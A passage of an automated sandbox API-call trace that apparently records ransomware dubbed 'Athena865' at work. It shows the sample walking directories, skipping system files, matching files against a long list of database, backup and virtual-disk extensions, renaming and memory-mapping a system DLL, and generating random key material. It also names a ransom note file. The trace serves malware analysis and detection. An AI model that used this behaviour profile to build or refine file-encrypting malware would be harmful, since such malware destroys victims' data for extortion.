(lpString="mdb") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.233] lstrlenW (lpString="sql") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.233] lstrlenW (lpString="sqlite") returned 6 [0118.233] lstrcmpiW (lpString1="15.dll", lpString2="sqlite") returned -1 [0118.233] lstrlenW (lpString="sqlite3") returned 7 [0118.233] lstrcmpiW (lpString1="o15.dll", lpString2="sqlite3") returned -1 [0118.233] lstrlenW (lpString="sqlitedb") returned 8 [0118.233] lstrcmpiW (lpString1="do15.dll", lpString2="sqlitedb") returned -1 [0118.233] lstrlenW (lpString="xml") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.233] lstrlenW (lpString="$er") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.233] lstrlenW (lpString="4dd") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.233] lstrlenW (lpString="4dl") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.233] lstrlenW (lpString="^^^") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.233] lstrlenW (lpString="abs") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.233] lstrlenW (lpString="abx") returned 3 [0118.233] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.233] lstrlenW (lpString="accdb") returned 5 [0118.233] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0118.233] lstrlenW (lpString="accdc") returned 5 [0118.233] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0118.233] lstrlenW (lpString="accde") returned 5 [0118.233] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0118.233] lstrlenW (lpString="accdr") returned 5 [0118.234] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0118.234] lstrlenW (lpString="accdt") returned 5 [0118.234] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0118.234] lstrlenW (lpString="accdw") returned 5 [0118.234] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0118.234] lstrlenW (lpString="accft") returned 5 [0118.234] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0118.234] lstrlenW (lpString="adb") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.234] lstrlenW (lpString="adb") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.234] lstrlenW (lpString="ade") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.234] lstrlenW (lpString="adf") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.234] lstrlenW (lpString="adn") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.234] lstrlenW (lpString="adp") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.234] lstrlenW (lpString="alf") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.234] lstrlenW (lpString="ask") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.234] lstrlenW (lpString="btr") returned 3 [0118.234] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.235] lstrlenW (lpString="cat") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.235] lstrlenW (lpString="cdb") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.235] lstrlenW (lpString="ckp") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.235] lstrlenW (lpString="cma") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.235] lstrlenW (lpString="cpd") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.235] lstrlenW (lpString="dacpac") returned 6 [0118.235] lstrcmpiW (lpString1="15.dll", lpString2="dacpac") returned -1 [0118.235] lstrlenW (lpString="dad") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.235] lstrlenW (lpString="dadiagrams") returned 10 [0118.235] lstrcmpiW (lpString1="sado15.dll", lpString2="dadiagrams") returned 1 [0118.235] lstrlenW (lpString="daschema") returned 8 [0118.235] lstrcmpiW (lpString1="do15.dll", lpString2="daschema") returned 1 [0118.235] lstrlenW (lpString="db-journal") returned 10 [0118.235] lstrcmpiW (lpString1="sado15.dll", lpString2="db-journal") returned 1 [0118.235] lstrlenW (lpString="db-shm") returned 6 [0118.235] lstrcmpiW (lpString1="15.dll", lpString2="db-shm") returned -1 [0118.235] lstrlenW (lpString="db-wal") returned 6 [0118.235] lstrcmpiW (lpString1="15.dll", lpString2="db-wal") returned -1 [0118.235] lstrlenW (lpString="dbc") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.235] lstrlenW (lpString="dbs") returned 3 [0118.235] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.235] lstrlenW (lpString="dbt") returned 3 [0118.236] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.236] lstrlenW (lpString="dbv") returned 3 [0118.236] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.236] lstrlenW (lpString="dbx") returned 3 [0118.236] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.236] lstrlenW (lpString="dcb") returned 3 [0118.236] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.236] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.236] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.Athena865") returned 62 [0118.236] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.athena865"), dwFlags=0x1) returned 1 [0118.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.238] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1499136) returned 1 [0118.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.238] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.239] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.239] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.239] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16e300, lpName=0x0) returned 0x17c [0118.240] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16e300) returned 0x2d50000 [0118.294] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.294] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.294] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.295] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0118.307] CloseHandle (hObject=0x17c) returned 1 [0118.307] CloseHandle (hObject=0x154) returned 1 [0118.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.314] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2=".") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="..") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="windows") returned -1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="bootmgr") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="temp") returned -1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="pagefile.sys") returned -1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="boot") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="ids.txt") returned 1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="ntuser.dat") returned -1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="perflogs") returned -1 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2="MSBuild") returned -1 [0118.314] lstrlenW (lpString="msado20.tlb") returned 11 [0118.314] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado20.tlb" | out: lpString1="msado20.tlb") returned="msado20.tlb" [0118.314] lstrlenW (lpString="msado20.tlb") returned 11 [0118.314] lstrlenW (lpString="Athena865") returned 9 [0118.314] lstrcmpiW (lpString1="ado20.tlb", lpString2="Athena865") returned -1 [0118.314] lstrlenW (lpString=".dll") returned 4 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2=".dll") returned 1 [0118.314] lstrlenW (lpString=".lnk") returned 4 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2=".lnk") returned 1 [0118.314] lstrlenW (lpString=".ini") returned 4 [0118.314] lstrcmpiW (lpString1="msado20.tlb", lpString2=".ini") returned 1 [0118.314] lstrlenW (lpString=".sys") returned 4 [0118.315] lstrcmpiW (lpString1="msado20.tlb", lpString2=".sys") returned 1 [0118.315] lstrlenW (lpString="msado20.tlb") returned 11 [0118.315] lstrlenW (lpString="bak") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="bak") returned 1 [0118.315] lstrlenW (lpString="ba_") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="ba_") returned 1 [0118.315] lstrlenW (lpString="dbb") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="dbb") returned 1 [0118.315] lstrlenW (lpString="vmdk") returned 4 [0118.315] lstrcmpiW (lpString1=".tlb", lpString2="vmdk") returned -1 [0118.315] lstrlenW (lpString="rar") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="rar") returned 1 [0118.315] lstrlenW (lpString="zip") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="zip") returned -1 [0118.315] lstrlenW (lpString="tgz") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="tgz") returned 1 [0118.315] lstrlenW (lpString="vbox") returned 4 [0118.315] lstrcmpiW (lpString1=".tlb", lpString2="vbox") returned -1 [0118.315] lstrlenW (lpString="vdi") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="vdi") returned -1 [0118.315] lstrlenW (lpString="vhd") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="vhd") returned -1 [0118.315] lstrlenW (lpString="vhdx") returned 4 [0118.315] lstrcmpiW (lpString1=".tlb", lpString2="vhdx") returned -1 [0118.315] lstrlenW (lpString="avhd") returned 4 [0118.315] lstrcmpiW (lpString1=".tlb", lpString2="avhd") returned -1 [0118.315] lstrlenW (lpString="db") returned 2 [0118.315] lstrcmpiW (lpString1="lb", lpString2="db") returned 1 [0118.315] lstrlenW (lpString="db2") returned 3 [0118.315] lstrcmpiW (lpString1="tlb", lpString2="db2") returned 1 [0118.316] lstrlenW (lpString="db3") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="db3") returned 1 [0118.316] lstrlenW (lpString="dbf") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="dbf") returned 1 [0118.316] lstrlenW (lpString="mdf") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="mdf") returned 1 [0118.316] lstrlenW (lpString="mdb") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="mdb") returned 1 [0118.316] lstrlenW (lpString="sql") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="sql") returned 1 [0118.316] lstrlenW (lpString="sqlite") returned 6 [0118.316] lstrcmpiW (lpString1="20.tlb", lpString2="sqlite") returned -1 [0118.316] lstrlenW (lpString="sqlite3") returned 7 [0118.316] lstrcmpiW (lpString1="o20.tlb", lpString2="sqlite3") returned -1 [0118.316] lstrlenW (lpString="sqlitedb") returned 8 [0118.316] lstrcmpiW (lpString1="do20.tlb", lpString2="sqlitedb") returned -1 [0118.316] lstrlenW (lpString="xml") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="xml") returned -1 [0118.316] lstrlenW (lpString="$er") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="$er") returned 1 [0118.316] lstrlenW (lpString="4dd") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="4dd") returned 1 [0118.316] lstrlenW (lpString="4dl") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="4dl") returned 1 [0118.316] lstrlenW (lpString="^^^") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="^^^") returned 1 [0118.316] lstrlenW (lpString="abs") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="abs") returned 1 [0118.316] lstrlenW (lpString="abx") returned 3 [0118.316] lstrcmpiW (lpString1="tlb", lpString2="abx") returned 1 [0118.316] lstrlenW (lpString="accdb") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accdb") returned -1 [0118.317] lstrlenW (lpString="accdc") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accdc") returned -1 [0118.317] lstrlenW (lpString="accde") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accde") returned -1 [0118.317] lstrlenW (lpString="accdr") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accdr") returned -1 [0118.317] lstrlenW (lpString="accdt") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accdt") returned -1 [0118.317] lstrlenW (lpString="accdw") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accdw") returned -1 [0118.317] lstrlenW (lpString="accft") returned 5 [0118.317] lstrcmpiW (lpString1="0.tlb", lpString2="accft") returned -1 [0118.317] lstrlenW (lpString="adb") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="adb") returned 1 [0118.317] lstrlenW (lpString="adb") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="adb") returned 1 [0118.317] lstrlenW (lpString="ade") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="ade") returned 1 [0118.317] lstrlenW (lpString="adf") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="adf") returned 1 [0118.317] lstrlenW (lpString="adn") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="adn") returned 1 [0118.317] lstrlenW (lpString="adp") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="adp") returned 1 [0118.317] lstrlenW (lpString="alf") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="alf") returned 1 [0118.317] lstrlenW (lpString="ask") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="ask") returned 1 [0118.317] lstrlenW (lpString="btr") returned 3 [0118.317] lstrcmpiW (lpString1="tlb", lpString2="btr") returned 1 [0118.318] lstrlenW (lpString="cat") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="cat") returned 1 [0118.318] lstrlenW (lpString="cdb") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="cdb") returned 1 [0118.318] lstrlenW (lpString="ckp") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="ckp") returned 1 [0118.318] lstrlenW (lpString="cma") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="cma") returned 1 [0118.318] lstrlenW (lpString="cpd") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="cpd") returned 1 [0118.318] lstrlenW (lpString="dacpac") returned 6 [0118.318] lstrcmpiW (lpString1="20.tlb", lpString2="dacpac") returned -1 [0118.318] lstrlenW (lpString="dad") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="dad") returned 1 [0118.318] lstrlenW (lpString="dadiagrams") returned 10 [0118.318] lstrcmpiW (lpString1="sado20.tlb", lpString2="dadiagrams") returned 1 [0118.318] lstrlenW (lpString="daschema") returned 8 [0118.318] lstrcmpiW (lpString1="do20.tlb", lpString2="daschema") returned 1 [0118.318] lstrlenW (lpString="db-journal") returned 10 [0118.318] lstrcmpiW (lpString1="sado20.tlb", lpString2="db-journal") returned 1 [0118.318] lstrlenW (lpString="db-shm") returned 6 [0118.318] lstrcmpiW (lpString1="20.tlb", lpString2="db-shm") returned -1 [0118.318] lstrlenW (lpString="db-wal") returned 6 [0118.318] lstrcmpiW (lpString1="20.tlb", lpString2="db-wal") returned -1 [0118.318] lstrlenW (lpString="dbc") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="dbc") returned 1 [0118.318] lstrlenW (lpString="dbs") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="dbs") returned 1 [0118.318] lstrlenW (lpString="dbt") returned 3 [0118.318] lstrcmpiW (lpString1="tlb", lpString2="dbt") returned 1 [0118.319] lstrlenW (lpString="dbv") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dbv") returned 1 [0118.319] lstrlenW (lpString="dbx") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dbx") returned 1 [0118.319] lstrlenW (lpString="dcb") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dcb") returned 1 [0118.319] lstrlenW (lpString="dct") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dct") returned 1 [0118.319] lstrlenW (lpString="dcx") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dcx") returned 1 [0118.319] lstrlenW (lpString="ddl") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="ddl") returned 1 [0118.319] lstrlenW (lpString="dlis") returned 4 [0118.319] lstrcmpiW (lpString1=".tlb", lpString2="dlis") returned -1 [0118.319] lstrlenW (lpString="dp1") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dp1") returned 1 [0118.319] lstrlenW (lpString="dqy") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dqy") returned 1 [0118.319] lstrlenW (lpString="dsk") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dsk") returned 1 [0118.319] lstrlenW (lpString="dsn") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dsn") returned 1 [0118.319] lstrlenW (lpString="dtsx") returned 4 [0118.319] lstrcmpiW (lpString1=".tlb", lpString2="dtsx") returned -1 [0118.319] lstrlenW (lpString="dxl") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="dxl") returned 1 [0118.319] lstrlenW (lpString="eco") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="eco") returned 1 [0118.319] lstrlenW (lpString="ecx") returned 3 [0118.319] lstrcmpiW (lpString1="tlb", lpString2="ecx") returned 1 [0118.320] lstrlenW (lpString="edb") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="edb") returned 1 [0118.320] lstrlenW (lpString="epim") returned 4 [0118.320] lstrcmpiW (lpString1=".tlb", lpString2="epim") returned -1 [0118.320] lstrlenW (lpString="fcd") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fcd") returned 1 [0118.320] lstrlenW (lpString="fdb") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fdb") returned 1 [0118.320] lstrlenW (lpString="fic") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fic") returned 1 [0118.320] lstrlenW (lpString="flexolibrary") returned 12 [0118.320] lstrlenW (lpString="fm5") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fm5") returned 1 [0118.320] lstrlenW (lpString="fmp") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fmp") returned 1 [0118.320] lstrlenW (lpString="fmp12") returned 5 [0118.320] lstrcmpiW (lpString1="0.tlb", lpString2="fmp12") returned -1 [0118.320] lstrlenW (lpString="fmpsl") returned 5 [0118.320] lstrcmpiW (lpString1="0.tlb", lpString2="fmpsl") returned -1 [0118.320] lstrlenW (lpString="fol") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fol") returned 1 [0118.320] lstrlenW (lpString="fp3") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fp3") returned 1 [0118.320] lstrlenW (lpString="fp4") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fp4") returned 1 [0118.320] lstrlenW (lpString="fp5") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fp5") returned 1 [0118.320] lstrlenW (lpString="fp7") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fp7") returned 1 [0118.320] lstrlenW (lpString="fpt") returned 3 [0118.320] lstrcmpiW (lpString1="tlb", lpString2="fpt") returned 1 [0118.321] lstrlenW (lpString="frm") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="frm") returned 1 [0118.321] lstrlenW (lpString="gdb") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="gdb") returned 1 [0118.321] lstrlenW (lpString="gdb") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="gdb") returned 1 [0118.321] lstrlenW (lpString="grdb") returned 4 [0118.321] lstrcmpiW (lpString1=".tlb", lpString2="grdb") returned -1 [0118.321] lstrlenW (lpString="gwi") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="gwi") returned 1 [0118.321] lstrlenW (lpString="hdb") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="hdb") returned 1 [0118.321] lstrlenW (lpString="his") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="his") returned 1 [0118.321] lstrlenW (lpString="ib") returned 2 [0118.321] lstrcmpiW (lpString1="lb", lpString2="ib") returned 1 [0118.321] lstrlenW (lpString="idb") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="idb") returned 1 [0118.321] lstrlenW (lpString="ihx") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="ihx") returned 1 [0118.321] lstrlenW (lpString="itdb") returned 4 [0118.321] lstrcmpiW (lpString1=".tlb", lpString2="itdb") returned -1 [0118.321] lstrlenW (lpString="itw") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="itw") returned 1 [0118.321] lstrlenW (lpString="jet") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="jet") returned 1 [0118.321] lstrlenW (lpString="jtx") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="jtx") returned 1 [0118.321] lstrlenW (lpString="kdb") returned 3 [0118.321] lstrcmpiW (lpString1="tlb", lpString2="kdb") returned 1 [0118.321] lstrlenW (lpString="kexi") returned 4 [0118.322] lstrcmpiW (lpString1=".tlb", lpString2="kexi") returned -1 [0118.322] lstrlenW (lpString="kexic") returned 5 [0118.322] lstrcmpiW (lpString1="0.tlb", lpString2="kexic") returned -1 [0118.322] lstrlenW (lpString="kexis") returned 5 [0118.322] lstrcmpiW (lpString1="0.tlb", lpString2="kexis") returned -1 [0118.322] lstrlenW (lpString="lgc") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="lgc") returned 1 [0118.322] lstrlenW (lpString="lwx") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="lwx") returned 1 [0118.322] lstrlenW (lpString="maf") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="maf") returned 1 [0118.322] lstrlenW (lpString="maq") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="maq") returned 1 [0118.322] lstrlenW (lpString="mar") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="mar") returned 1 [0118.322] lstrlenW (lpString="marshal") returned 7 [0118.322] lstrcmpiW (lpString1="o20.tlb", lpString2="marshal") returned 1 [0118.322] lstrlenW (lpString="mas") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="mas") returned 1 [0118.322] lstrlenW (lpString="mav") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="mav") returned 1 [0118.322] lstrlenW (lpString="maw") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="maw") returned 1 [0118.322] lstrlenW (lpString="mdbhtml") returned 7 [0118.322] lstrcmpiW (lpString1="o20.tlb", lpString2="mdbhtml") returned 1 [0118.322] lstrlenW (lpString="mdn") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="mdn") returned 1 [0118.322] lstrlenW (lpString="mdt") returned 3 [0118.322] lstrcmpiW (lpString1="tlb", lpString2="mdt") returned 1 [0118.322] lstrlenW (lpString="mfd") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="mfd") returned 1 [0118.323] lstrlenW (lpString="mpd") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="mpd") returned 1 [0118.323] lstrlenW (lpString="mrg") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="mrg") returned 1 [0118.323] lstrlenW (lpString="mud") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="mud") returned 1 [0118.323] lstrlenW (lpString="mwb") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="mwb") returned 1 [0118.323] lstrlenW (lpString="myd") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="myd") returned 1 [0118.323] lstrlenW (lpString="ndf") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="ndf") returned 1 [0118.323] lstrlenW (lpString="nnt") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="nnt") returned 1 [0118.323] lstrlenW (lpString="nrmlib") returned 6 [0118.323] lstrcmpiW (lpString1="20.tlb", lpString2="nrmlib") returned -1 [0118.323] lstrlenW (lpString="ns2") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", lpString2="ns2") returned 1 [0118.323] lstrlenW (lpString="ns3") returned 3 [0118.323] lstrcmpiW (lpString1="tlb", 